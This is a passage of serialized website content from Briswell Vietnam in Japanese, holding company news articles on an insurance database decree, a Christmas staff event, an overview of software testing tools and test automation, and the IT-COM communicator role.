ホームページ、8079へのSMS送信、VssIDアプリの他に、国家データベースポータルも誕生しました。",[11,5825,5826],{},[2645,5827,196],{},[11,5829,5830],{},[57,5831,5834],{"href":5832,"rel":5833},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBao-hiem\u002FNghi-dinh-43-2021-ND-CP-Co-so-du-lieu-quoc-gia-ve-Bao-hiem-451609.aspx",[61],"議定第43\u002F2021\u002FNĐ-CP号",[11,5836,5837,5842,5846],{},[57,5838,5841],{"href":5839,"rel":5840},"https:\u002F\u002Fbriswell-vn.com\u002Fnews\u002Fdang-ky-mo-tai-khoan-giao-dich-dien-tu-voi-vssid-bao-hiem-xa-hoi-so\u002F",[61],"デジタル社会保険・",[57,5843,5845],{"href":5839,"rel":5844},[61],"VssID",[57,5847,5849],{"href":5839,"rel":5848},[61],"への電子取引アカウントの登録",{"title":64,"searchDepth":65,"depth":65,"links":5851},[],"2021-07-30","ベトナム政府は保険に関する国家データベースポータル（以下に本ポータルという）について定めた議定第43\u002F2021\u002FNĐ-CP号を公布しました。この議定は2021年6月1日から有効になっています。本ポータルにて社会保険、健康保険、失業保険に関する以下の情報が掲載されます。",{},"\u002Fja\u002Fnews\u002Fchinh-sach-moi-them-cach-de-tra-cuu-qua-trinh-tham-gia-bhxh-bhyt-bhtn-co-hieu-luc-tu-06-2021",{"title":5790,"description":5853},"ja\u002Fnews\u002Fchinh-sach-moi-them-cach-de-tra-cuu-qua-trinh-tham-gia-bhxh-bhyt-bhtn-co-hieu-luc-tu-06-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F06\u002F18102129\u002FChinhSachMoiThang62021.png","Vt5xAUeKk3JIM07g1GfneBu1LnvvRxnWzwizeHQSyAk",{"id":5861,"title":5862,"body":5863,"category":2844,"created by":5928,"date":5929,"description":5867,"extension":71,"meta":5930,"navigation":73,"path":5932,"sections":75,"seo":5933,"stem":5934,"thumbnail":5935,"__hash__":5936},"content_ja\u002Fja\u002Fnews\u002Fcompany-event-thang-12-2023.md","2023 年 12 月の社内イベント",{"type":8,"value":5864,"toc":5926},[5865,5868,5871,5875,5878,5882,5885,5889,5892,5896,5899,5907,5915,5923],[11,5866,5867],{},"年末の魔法のようなクリスマスが到来し、きらめく空間と活気に満ちた歓声のワンダーランドが訪れます。 この楽しい雰囲気を最大限に満喫するために、ブリズウェル ベトナムは全従業員を向けに特別なクリスマスイベントを主催し、お祝いのムードに浸りました。",[11,5869,5870],{},"イベントの雰囲気は、温かみのあるきらめくライト、赤と緑の伝統的なクリスマスの色合い、そして陽気なサンタや大きなクリスマスツリーなどのおなじみのシンボルで飾られました。 誰もがイベントを心待ちにしていたため、この居心地の良いカラフルな光景は期待で膨らんでいました。",[530,5872],{"className":5873,"alt":64,"src":5874,"style":566},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F12\u002F02105702\u002FChristmas-tree-Edited-Edited-Edited-e1704174850223.jpg",[11,5876,5877],{},"イベントは、笑いと楽しみをもたらすように計画された一連の魅力的なゲームが行われました。 「クリスマス ミュージック ゲーム」はすぐにハイライトとなり、シンプルでありながら夢中になれるゲームでみんなは魅了されました。 チームに分かれ、みんなは音楽の知識をテストし、イベントの曲が流れ、曲のタイトルを推測しました。 各チームは音楽を記憶し協力して流れた曲を答える、チーム通しで競争を行い、最終的には 1 つのチームが勝利し、それに値する賞品を得ました。 ゲームで使ったすべての曲が古典的なキャロルであり、かつ、クリスマスを盛り上げるもので、暖かさと郷愁をイベントにさらに吹き込みました。",[530,5879],{"className":5880,"alt":64,"src":5881,"style":566},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110238\u002FIMG_9557-1024x768.jpg",[11,5883,5884],{},"続いては、運と実力を競うスリル満点の「黒ひげ危機一発」です。 各ラウンドでは、チームメンバーがおもちゃの剣を使って黒ひげの樽を刺し、黒ひげが飛び出さないようにしました。 3 ラウンドの熱い戦いの後、1 つのチームが勝利を収め、その戦略とちょっとした幸運により特別な報酬を獲得しました。 このゲームは興奮と笑いをもたらしただけでなく、チームワークと競争心を育み、誰にとっても忘れられない思い出を作りました。",[530,5886],{"className":5887,"alt":64,"src":5888,"style":566},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110654\u002Fz5014809043946_6aad3c2aac1f0c513fd27a416100c151.jpg",[11,5890,5891],{},"オフィスは元気なエネルギーにあふれ、笑い声と楽しいおしゃべりで満たされました。 皆さんは積極的にゲームに参加し、明るい雰囲気を満喫していました。 喜びは勝利だけではありませんでした。 それは、陽気な大家族の一員であることから生まれるつながりと帰属意識についてのものでした。",[530,5893],{"className":5894,"alt":64,"src":5895,"style":566},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110827\u002Ffood-1-768x827.jpg",[11,5897,5898],{},"もちろん、おいしいお菓子がなければお祝いのイベントは物足りません。 このイベントではおいしい軽食や飲み物が用意され、楽しい会話や笑いを生み出すのに最適なエネルギーが提供されました。",[11,5900,5901,5905],{},[530,5902],{"className":5903,"alt":64,"src":5904,"style":566},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02111028\u002FIMG_9550-1024x768.jpg",[568,5906],{},[11,5908,5909,5913],{},[530,5910],{"className":5911,"alt":64,"src":5912,"style":566},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02110938\u002FIMG_9547-768x1024.jpg",[568,5914],{},[11,5916,5917,5921],{},[530,5918],{"className":5919,"alt":64,"src":5920,"style":566},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02111012\u002FIMG_9552-1024x768.jpg",[568,5922],{},[11,5924,5925],{},"これは単なるイベントではありませんでした。 それはクリスマスの魔法に浸り、同僚間の絆を深め、一生続く思い出を作る機会でした。 楽しいひと時が終わりに近づき、ブリスウェルベトナムは、クリスマスの本当の喜びは私達自身で築きあげ、笑いや励ましの瞬間をを共有し合うものだと知らせ、その温かさを心に留めさせてくれました。",{"title":64,"searchDepth":65,"depth":65,"links":5927},[],"THANH PHAM NGOC GIANG","2024-01-05",{"coverImage":5931},"Merry-Christmas-Card-1.png","\u002Fja\u002Fnews\u002Fcompany-event-thang-12-2023",{"title":5862,"description":5867},"ja\u002Fnews\u002Fcompany-event-thang-12-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F01\u002F02143531\u002FMerry-Christmas-Card-1.png","V_PJfnrgH8EHioaYfntnDIyVFZbTAYtDLcPXq_epjJ8",{"id":5938,"title":5939,"body":5940,"category":353,"created by":68,"date":6317,"description":5944,"extension":71,"meta":6318,"navigation":73,"path":6319,"sections":75,"seo":6320,"stem":6321,"thumbnail":6322,"__hash__":6323},"content_ja\u002Fja\u002Fnews\u002Fcong-cu-kiem-thu.md","テストツール",{"type":8,"value":5941,"toc":6315},[5942,5945,5950,5953,5997,6000,6005,6008,6028,6031,6039,6044,6047,6050,6055,6058,6066,6069,6074,6077,6085,6087,6095,6098,6103,6106,6114,6116,6124,6127,6132,6135,6143,6145,6153,6156,6161,6164,6167,6184,6187,6190,6195,6227,6232,6270,6275,6301,6304,6309],[11,5943,5944],{},"ソフトウェア開発において、テストは品質保証の重要なプロセスです。そして、テストを効率的かつ効果的に実施するためには適切なテストツールの利用が不可欠です。本記事では、テストツールの分類から特定の用途に特化したツールまで、幅広い視点でテストツールの考慮事項を詳しく解説します。",[1750,5946,5948],{"id":5947},"テストツールの分類",[20,5949,5947],{},[11,5951,5952],{},"テストツールを選定する際には、その目的や特徴を理解することが重要です。以下は、テストツールの主な分類基準の例です。",[199,5954,5955,5971,5984],{},[34,5956,5957,5960],{},[20,5958,5959],{},"テストツール導入の目的",[31,5961,5962,5965,5968],{},[34,5963,5964],{},"効率性の向上：テストツールは時間やリソースの節約に役立ちます。例えば、リグレッションテストを自動化することで、繰り返しの作業負担が大幅に軽減されます。",[34,5966,5967],{},"テストの品質向上：手動では見逃しがちな細かな欠陥も、テストツールを活用することで検出可能になります。",[34,5969,5970],{},"一貫性の確保：標準化されたテストプロセスの適用により、品質のばらつきを最小限に抑えます。",[34,5972,5973,5976],{},[20,5974,5975],{},"ライセンスモデル",[31,5977,5978,5981],{},[34,5979,5980],{},"オープンソースツール：無料で利用可能なツールで、拡張性が高く、コミュニティのサポートが豊富です。例としてSeleniumやJMeterがあります。",[34,5982,5983],{},"商用ツール：ライセンス費用が必要ですが、高度な機能や専用のサポートが提供されます。例としてTestRailやLoadRunnerが挙げられます。",[34,5985,5986,5989],{},[20,5987,5988],{},"使用している技術",[31,5990,5991,5994],{},[34,5992,5993],{},"UIベースのテストツール：アプリケーションの画面を対象にしたテストを支援します。例としてKatalon StudioやRanorexがあります。",[34,5995,5996],{},"APIやプロトコルに基づくテストツール：バックエンドの動作確認やサービスの統合テストに適しています。PostmanやSoapUIが代表例です。",[11,5998,5999],{},"さらに、一部のツールはテストの実行結果そのものに影響を与える可能性があるため、慎重な評価が必要です。性能テストツールはシステムリソースを消費するため、測定結果に誤差が生じることがあります。この点を考慮して、テスト環境と本番環境の違いを把握することが重要です。",[1750,6001,6003],{"id":6002},"テストとテストウェアのマネジメントの支援ツール",[20,6004,6002],{},[11,6006,6007],{},"テストマネジメントツールは、テストプロセス全体を計画し、監視し、制御するために役立ちます。このようなツールの利用により、プロジェクトのスケジュール管理や品質向上が期待できます。主な機能には以下が含まれます。",[31,6009,6010,6016,6022],{},[34,6011,6012,6015],{},[20,6013,6014],{},"テストケースの管理","：テストケースの作成、編集、バージョン管理を効率化します。これにより、重複作業を削減し、チーム全体での一貫性を確保します。",[34,6017,6018,6021],{},[20,6019,6020],{},"リソース管理","：テスト担当者やテスト環境の割り当てを簡素化し、リソースの最適活用を促進します。",[34,6023,6024,6027],{},[20,6025,6026],{},"進捗状況の可視化","：レポートやダッシュボードを通じて、リアルタイムの進捗確認が可能です。これにより、ステークホルダーへの迅速な報告が行えます。",[11,6029,6030],{},"代表的なツールとしては以下があります。",[31,6032,6033,6036],{},[34,6034,6035],{},"TestRail：直感的なインターフェースで、テスト計画や実行のトラッキングを支援。",[34,6037,6038],{},"Zephyr：Jiraとの統合が可能で、アジャイルプロジェクトでの利用に適しています。",[1750,6040,6042],{"id":6041},"静的テストの支援ツール",[20,6043,6041],{},[11,6045,6046],{},"静的テストは、ソフトウェアを実行せずにコードや仕様を分析するテスト手法です。このプロセスを支援するツールは以下のタスクをサポートします。",[11,6048,6049],{},"**- **コードレビューの自動化：静的解析ツールを使用して、潜在的な欠陥や規約違反を迅速に検出します。これにより、初期段階での修正が可能となり、コスト削減に寄与します。",[31,6051,6052],{},[34,6053,6054],{},"品質指標の提供：コードのカバレッジ率や複雑度の測定を行い、改善ポイントを明確化します。",[11,6056,6057],{},"代表的なツール：",[31,6059,6060,6063],{},[34,6061,6062],{},"SonarQube：複数のプログラミング言語に対応し、詳細なレポートを提供",[34,6064,6065],{},"Checkstyle：Javaコードのスタイルチェックを自動化",[11,6067,6068],{},"これらのツールを適切に利用することで、バグの発生を未然に防ぎ、プロジェクトの信頼性を高めることが可能です。",[1750,6070,6072],{"id":6071},"テスト設計とテスト実装の支援ツール",[20,6073,6071],{},[11,6075,6076],{},"テスト設計と実装フェーズでは、テストケースの効率的な作成が重要です。これを支援するツールには以下の特徴があります。",[31,6078,6079,6082],{},[34,6080,6081],{},"テストデータの生成：ランダムデータや境界値の自動生成機能を提供し、データ準備の時間を短縮します。たとえば、金融アプリケーションではさまざまな通貨や金額の組み合わせを自動生成できます。",[34,6083,6084],{},"テストケースの自動作成：要件仕様やモデルに基づき、適切なテストシナリオを自動提案します。",[11,6086,6057],{},[31,6088,6089,6092],{},[34,6090,6091],{},"TestCase Studio：直感的なインターフェースで、テストケース作成を簡素化",[34,6093,6094],{},"Parasoft：モデルベースのアプローチで、テスト設計を効率化",[11,6096,6097],{},"具体的な使用例を含めることで、これらのツールの利便性を最大限に活用できます。",[1750,6099,6101],{"id":6100},"テスト実行と結果記録の支援ツール",[20,6102,6100],{},[11,6104,6105],{},"テスト実行ツールは、テストを自動化して効率的に進めるために使用されます。これらのツールは通常、結果の記録機能も備えています。",[31,6107,6108,6111],{},[34,6109,6110],{},"自動テストの実行：リグレッションテストや反復テストを自動化することで、作業時間を大幅に削減します。たとえば、毎日のビルドテストを自動化することで、開発チームは他の重要なタスクに集中できます。",[34,6112,6113],{},"結果の記録と報告：テスト結果のログ生成や可視化により、欠陥の特定が迅速化します。レポートはPDF形式やダッシュボードで提供されることが一般的です。",[11,6115,6057],{},[31,6117,6118,6121],{},[34,6119,6120],{},"Selenium：クロスブラウザテストに最適で、豊富なカスタマイズが可能",[34,6122,6123],{},"Appium：モバイルアプリケーションのテストを支援",[11,6125,6126],{},"これらのツールを使用することで、テストプロセスの効率化と精度向上が期待できます。",[1750,6128,6130],{"id":6129},"性能計測と動的分析の支援ツール",[20,6131,6129],{},[11,6133,6134],{},"性能テストや動的分析を支援するツールは、システムの動作やパフォーマンスを測定します。",[31,6136,6137,6140],{},[34,6138,6139],{},"負荷テスト：高負荷環境での応答時間やスループットを測定し、システムの限界を把握します。具体例として、ウェブサイトのセール時に予想されるトラフィックをシミュレーションするケースがあります。",[34,6141,6142],{},"プロファイリング：アプリケーションのCPU使用率やメモリ消費量を分析し、ボトルネックを特定します。",[11,6144,6057],{},[31,6146,6147,6150],{},[34,6148,6149],{},"JMeter：負荷テストのスタンダードツールとして広く使用",[34,6151,6152],{},"Dynatrace：リアルタイムのパフォーマンス監視と分析を提供",[11,6154,6155],{},"これらのツールにより、システムのスケーラビリティと信頼性を高めることができます。",[1750,6157,6159],{"id":6158},"特定のテストに対する支援ツール",[20,6160,6158],{},[11,6162,6163],{},"特定の用途に特化したツールは、専門的な要件を満たすために設計されています。",[11,6165,6166],{},"**- **データ品質の評価 データ品質の評価ツールは、データの正確性、一貫性、完全性を分析するために使用されます。これらのツールは、データベースやデータセットをスキャンし、欠損データや不整合なデータを特定します。たとえば、TalendやInformaticaのようなツールが利用されます。これらのツールはデータプロファイリング機能を持ち、データの傾向や分布を分析することで、品質の低下を未然に防ぎます。",[31,6168,6169,6172,6175,6178,6181],{},[34,6170,6171],{},"データのコンバージョンとマイグレーション このタイプのツールは、異なるデータフォーマット間の変換や、システム間のデータ移行をサポートします。データのマッピング機能を持ち、移行プロセス全体を自動化することができます。ETL（Extract、Transform、Load）ツールが代表例であり、Apache NifiやAWS Glueなどが使用されます。",[34,6173,6174],{},"使用性テスト 使用性テストは、ユーザーエクスペリエンス（UX）を向上させるための重要なプロセスです。ツールを使用してユーザーの行動を追跡し、UI設計の改善点を特定します。たとえば、HotjarやCrazy Eggは、クリックヒートマップやスクロール分析を提供し、ユーザーの行動を可視化します。",[34,6176,6177],{},"アクセスビリティテスト アクセスビリティテストツールは、ウェブサイトやアプリケーションがWCAG（Web Content Accessibility Guidelines）に準拠しているかを検証します。具体的なツールとして、AxeはChrome拡張機能を利用してウェブページのアクセシビリティ問題を迅速に診断し、開発者に実用的な解決策を提示します。WAVEは、オンラインでのウェブサイト検証に便利で、視覚的なレポートを生成します。これらのツールは、新規開発時のアクセシビリティ確保や既存サイトの改良に最適です。",[34,6179,6180],{},"ローカライゼーションテスト ローカライゼーションテストツールは、多言語対応や文化的な適合性を検証します。これらのツールは翻訳の正確性やUIの適合性をチェックします。たとえば、SDL TradosやmemoQは翻訳メモリを活用し、一貫性のあるローカライゼーションを実現します。",[34,6182,6183],{},"セキュリティテスト セキュリティテストは、アプリケーションの脆弱性を特定し、悪意のある攻撃から保護するために重要です。具体的なツールとして、OWASP ZAPはプロキシを利用してウェブアプリケーションの脆弱性を動的に診断します。また、Burp Suiteは、高度なスキャニングやカスタム攻撃シナリオの作成に優れており、セキュリティ専門家に適しています。小規模なプロジェクトには、費用対効果の高いOWASP ZAPが推奨され、大規模プロジェクトや複雑な要件にはBurp Suiteが最適です。",[11,6185,6186],{},"つまり、テストツールを選択する際は、プロジェクトの要件や予算、チームのスキルセットを考慮する必要があります。また、ツールの導入だけでなく、その運用や保守も重要です。適切なテストツールを活用することで、ソフトウェア開発プロセス全体の効率と品質が向上します。ツールの選定においては、長期的な視点を持ち、プロジェクトの成功に向けて最適な投資を行いましょう。",[11,6188,6189],{},"テスト自動化は、ソフトウェア開発プロジェクトにおいて効率性と品質を向上させるための重要な手法です。しかし、自動化を導入する際にはその利点だけでなく、潜在的なリスクについても深く理解する必要があります。以下では、テスト自動化の主な利点とリスクについて詳細に説明します。",[1750,6191,6193],{"id":6192},"テスト自動化の利点",[20,6194,6192],{},[199,6196,6197,6203,6209,6215,6221],{},[34,6198,6199,6202],{},[20,6200,6201],{},"時間とコストの削減"," 自動化により、繰り返し実行されるテスト（例：リグレッションテスト、反復的なスモークテスト）を迅速かつ効率的に行うことができます。これにより、手動テストで必要だった多くの時間と人件費を削減できます。例えば、毎日実行される継続的インテグレーション（CI）環境では、ビルド後に自動で数千ものテストを実行することが可能です。",[34,6204,6205,6208],{},[20,6206,6207],{},"一貫性のあるテストプロセスの実現"," 手動テストではテスターによるばらつきが発生する可能性がありますが、自動化では同じスクリプトを繰り返し実行するため、一貫性のあるテストが保証されます。これにより、異なる環境や時間帯での結果の比較が容易になります。",[34,6210,6211,6214],{},[20,6212,6213],{},"スピードとスケーラビリティ"," テスト自動化は、大規模プロジェクトや頻繁なリリースに対応可能なスケーラビリティを提供します。たとえば、分散テスト環境を構築すれば、数百台のマシンでテストを同時に実行することもできます。これにより、開発サイクルが短縮されます。",[34,6216,6217,6220],{},[20,6218,6219],{},"テストの再利用性"," 一度作成された自動テストスクリプトは、何度でも使用可能です。これにより、新機能追加後のテストや、バグ修正後の再確認が迅速に行えます。また、テストスクリプトをライブラリ化すれば、他のプロジェクトでも再利用できます。",[34,6222,6223,6226],{},[20,6224,6225],{},"早期の欠陥検出"," テスト自動化は、開発初期段階で欠陥を発見するための手段としても優れています。たとえば、ユニットテストの自動化により、コード変更が既存のコードに与える影響を早期に検出できます。これにより、修正コストを抑え、開発全体の品質を向上させます。",[1750,6228,6230],{"id":6229},"テスト自動化のリスク",[20,6231,6229],{},[199,6233,6234,6240,6246,6252,6258,6264],{},[34,6235,6236,6239],{},[20,6237,6238],{},"初期コストと導入の難易度"," 自動化にはツールの導入費用やスクリプト作成のための初期投資が必要です。たとえば、商用ツールのライセンス費用が高額である場合や、スクリプト作成に熟練したエンジニアが必要な場合があります。また、適切な自動化スクリプトの設計がなされないと、保守性が低くなるリスクがあります。",[34,6241,6242,6245],{},[20,6243,6244],{},"テストスクリプトの保守負担"," 自動化スクリプトはソフトウェアの変更に対応する必要があります。特に、頻繁な仕様変更があるプロジェクトでは、スクリプトの更新が必要となり、メンテナンスコストが増加する可能性があります。たとえば、UIのデザインが変わると、関連する自動化スクリプトを全て修正しなければならないことがあります。",[34,6247,6248,6251],{},[20,6249,6250],{},"初期段階での過剰自動化"," 全てのテストを自動化することは現実的ではなく、適切な範囲を見極める必要があります。たとえば、アドホックテストや一時的なテストケースは手動テストの方が効率的である場合があります。過剰な自動化はリソースの無駄遣いに繋がるリスクがあります。",[34,6253,6254,6257],{},[20,6255,6256],{},"限られたカバレッジ"," 自動化スクリプトは事前に設計されたシナリオを実行するため、予期しない問題を発見する能力に限界があります。探索的テストのような人間の創造力を必要とするテストには対応できないため、自動化と手動テストのバランスが重要です。",[34,6259,6260,6263],{},[20,6261,6262],{},"ツールへの依存"," 特定のテストツールに過度に依存すると、将来的なツールのサポート終了や新しい技術への対応不足が問題になる可能性があります。たとえば、特定のブラウザやプラットフォームに依存したツールでは、技術進化に追随できない場合があります。",[34,6265,6266,6269],{},[20,6267,6268],{},"テスト環境の設定と管理の複雑さ"," 自動化にはテスト環境の正確な設定が不可欠ですが、環境間の不一致や依存関係の問題がリスクとなることがあります。たとえば、クラウドベースの環境では、ネットワークの遅延がテスト結果に影響を与えることがあります。",[1750,6271,6273],{"id":6272},"テスト自動化の成功に向けたポイント",[20,6274,6272],{},[31,6276,6277,6283,6289,6295],{},[34,6278,6279,6282],{},[20,6280,6281],{},"適切なツールの選定"," プロジェクトの要件やリソースに応じた適切なツールを選ぶことが重要です。オープンソースツールを選ぶことでコストを抑える場合もあれば、商用ツールを導入して高度なサポートを受ける場合もあります。",[34,6284,6285,6288],{},[20,6286,6287],{},"スクリプトのモジュール化"," テストスクリプトを再利用可能なモジュールとして設計することで、メンテナンス負担を軽減できます。",[34,6290,6291,6294],{},[20,6292,6293],{},"自動化と手動テストの組み合わせ"," 自動化が効果を発揮する領域を特定し、手動テストと補完的に運用することが重要です。",[34,6296,6297,6300],{},[20,6298,6299],{},"チーム全体のスキル向上"," 自動化スクリプトを適切に作成し、管理できるスキルをチーム全体で共有することで、リスクを軽減できます。",[11,6302,6303],{},"テスト自動化は、ソフトウェア品質の向上と効率化に大きく貢献しますが、導入に伴うリスクを十分に理解し、適切に対処することが成功の鍵です。",[11,6305,6306],{},[20,6307,6308],{},"※確認問題",[11,6310,6311],{},[57,6312,6313],{"href":6313,"rel":6314},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-13-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":6316},[],"2025-03-03",{},"\u002Fja\u002Fnews\u002Fcong-cu-kiem-thu",{"title":5939,"description":5944},"ja\u002Fnews\u002Fcong-cu-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F21170758\u002FScreenshot-2025-02-21-170538.png","mObis-oJEDaqJN-YOFXq2Pf-qXiKaPqBQyZzWXG8fE4",{"id":6325,"title":6326,"body":6327,"category":67,"created by":68,"date":6506,"description":6507,"extension":71,"meta":6508,"navigation":73,"path":6509,"sections":75,"seo":6510,"stem":6511,"thumbnail":6512,"__hash__":6513},"content_ja\u002Fja\u002Fnews\u002Fcong-viec-cua-it-com-o-briswell-vietnam.md","BRISWELL VIETNAMでのIT-COMの業務",{"type":8,"value":6328,"toc":6504},[6329,6332,6335,6354,6360,6367,6373,6376,6393,6396,6413,6419,6425,6430,6435,6441,6478,6484,6487,6494,6497],[11,6330,6331],{},"近年、インフォメーションテクノロジー（英：Information Technology、略：IT）という情報技術が急速に発展しています。それに伴って、特に日本をはじめとして先進国において、ITエンジニアの求人が増えています。",[11,6333,6334],{},"ベトナムといった発展途上国へのオフショア開発の形や_アウトソーシング_形式などで現地の技術者を採用している日本のソフトウェア開発会社がますます増えています。",[854,6336,6338,6339,6338,6347],{"style":6337},"display:flex; gap:24px; align-items:flex-start;","\n  ",[854,6340,6342,6343,6338],{"style":6341},"width:40%;","\n    ",[530,6344],{"src":6345,"alt":64,"style":6346},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F02163009\u002F%E3%82%B9%E3%83%A9%E3%82%A4%E3%83%891-768x432.jpg","width:100%; height:auto;",[854,6348,6350,6351,6338],{"style":6349},"width:60%;","\n   しかし、現地の開発者は日本語のできる人が少なくて、日本人の開発者やお客様はあまり外国語を使っていません。それで、現地の開発者とコミュニケーションができるように、ベトナム語や日本語能力が高くて、ITの知識も理解できる人が必要になります。その人はIT-COMです。\n",[11,6352,6353],{},"最近、皆さんもIT-COMという言葉をよく聞かれているんでしょう。Briswell Vietnamはベトナムにあるオフショア の日系IT会社の一つであり、本社は日本の東京にあります。では、IT-COMとは何か、Briswell VietnamのIT-COMの特別なことは何か、一緒に調べましょう！",[1750,6355,6357],{"id":6356},"_1-it-com-とは",[20,6358,6359],{},"1. IT-COM とは",[11,6361,6362,6363],{},"IT-COMはInformation Technology Communicatorの略で、日本語ではITコミュニケーターと呼びます。IT-COMTER とも呼ばれることも多いです。IT- COMは日本人の開発者、プロジェクトマネージャー、お客様（以下、日本側という）とベトナムの開発者や開発リーダー（以下、ベトナム側という）との間で意思疎通を図る人としての役割を果たします。 ",[530,6364],{"className":6365,"alt":64,"src":6366,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F03\u002F26143951\u002Fit_com-1-768x356.png",[1750,6368,197,6370],{"id":6369},"_2-it-comの業務やbriswell-vietnamでのit-comの業務は",[20,6371,6372],{},"2. IT-COMの業務やBriswell VietnamでのIT-COMの業務は",[11,6374,6375],{},"IT-COMの業務は会社によって異なるようです。以下のいくつかの共通業務があります。",[31,6377,6378,6381,6384,6387,6390],{},[34,6379,6380],{},"データベース設計書、画面設計書、API設計書などのプロジェクトの設計書を翻訳",[34,6382,6383],{},"日本側との会議で通訳",[34,6385,6386],{},"議事録を作成（または翻訳）",[34,6388,6389],{},"ベトナム側と日本との間での質問- 回答を翻訳",[34,6391,6392],{},"日本側からの指摘内容（不具合等）を翻訳",[11,6394,6395],{},"Briswell Vietnamでは、上記の業務に加えて、IT-COMも下記のタスクを担当しています。",[31,6397,6398,6401,6404,6407,6410],{},[34,6399,6400],{},"案件のビジネスロジックを理解し、必要に応じて開発者への仕様の説明",[34,6402,6403],{},"設計書等をもとに単体テスト、結合テスト仕様書を作成",[34,6405,6406],{},"単体テスト、結合テストを実施",[34,6408,6409],{},"日本側への進捗の管理・報告",[34,6411,6412],{},"データベース、API、画面、帳票、バッチなどの各設計書を要件定義ベースで作成",[11,6414,6415,6418],{},[20,6416,6417],{},"質問："," なぜ、IT-COMが案件のビジネスロジックを理解することはBriswell Vietnamで求められていますか。",[11,6420,6421,6424],{},[20,6422,6423],{},"回答："," なぜならば、Briswell VietnamではIT-COMは、非常に重要の役割を果たしています。案件がうまく進行されるかどうか、成功するかどうかはIT-COMの役割も決め手の一つです。案件の仕様やビジネスロジックを全然理解せずに、直訳するのはワードバイワードに訳することにとどまります。このような機械的な翻訳・通訳は、日本側は何を言いたいか明確に伝えられず、ベトナム側の開発者は仕様などの理解や確認に時間がかかります。IT-COMは案件の仕様などを理解して初めて、日本側とベトナム側との間で迅速かつ正確に伝達できます。また、単体テストコンディション、結合テストコンディションの作成、テスト実施などの作業は案件のビジネスロジックの理解のみならず、IT知識をもっと吸収することに役に立ちます。",[11,6426,6427,6429],{},[20,6428,6417],{}," テストコンディション作成・テスト実施はIT-COMに難しいですか。",[11,6431,6432,6434],{},[20,6433,6423],{}," ほとんどのIT-COMは言語学の卒業生なので、初めてIT分野に触ると難しいと思われるかもしれません。しかし、Briswell Vietnamでは、IT知識ゼロからの教育を行っているので、心配し過ぎないで、決意を持つのであれば十分です。",[1750,6436,6438],{"id":6437},"_3-briswell-vietnamが-it-comに求める能力や技能は",[20,6439,6440],{},"3. Briswell Vietnamが IT-COMに求める能力や技能は",[854,6442,6338,6443,6470],{"style":6337},[854,6444,6446,6447],{"style":6445},"width:70%;","\nBriswell VietnamでIT-COMとして活躍できるためには、下記の能力、技能、マインドセットが求められます。\n",[31,6448,6449,6452,6455,6458,6461,6464,6467],{},[34,6450,6451],{},"N2相当以上の日本語レベル",[34,6453,6454],{},"日本人担当者とアプリケーション開発の仕様確認\u002F提案が会話\u002Fチャットができるスキル",[34,6456,6457],{},"IT業界で働きたいという強い気持ち",[34,6459,6460],{},"相手が何をやりたいかを追求し、理解し、答えようすること",[34,6462,6463],{},"今の自分を理解し、改善していくこと",[34,6465,6466],{},"納期や約束事に対する責任感があり、実行すること",[34,6468,6469],{},"個人ではなく、チームの成果を重視していくことを楽しめること",[854,6471,6473,6474],{"style":6472},"width:30%;","\n ",[530,6475],{"className":6476,"alt":64,"src":6477,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F02164355\u002F%E3%82%B9%E3%83%A9%E3%82%A4%E3%83%893-768x432.jpg",[1750,6479,6481],{"id":6480},"_4-優れたit-comになれるためには",[20,6482,6483],{},"4. 優れたIT-COMになれるためには",[11,6485,6486],{},"上記のほか、優れたIT-COMになれるためには何が一番大事でしょうか？Briswell Vietnam のIT-COM先輩の話しでは、「自学自習」のことです。自学自習はIT-COMにのみならず、どの仕事にも一番大事なことです。それができるためには、必ず仕事に真剣さやパッションが必要だということです。",[11,6488,6489,6490],{},"また、経験も大事なものです。初めてから上手な人はいませんから。あまり緊張しないで、一生懸命頑張って自分の失敗や成功から習得しましょう。周りの人のころから習得するのも重要ですが、自分の体験から反省して習得することはもっと貴重で素晴らしい方法です。",[530,6491],{"className":6492,"alt":64,"src":6493,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F02164848\u002F%E3%82%B9%E3%83%A9%E3%82%A4%E3%83%894-768x432.jpg",[11,6495,6496],{},"この記事を通して、Briswell VietnamでのIT-COMのことを理解してもらえばうれしいです。どうぞご健康に気を付けて、また次の記事を楽しみにしましょう!",[11,6498,6499,6500],{},"イラスト元: 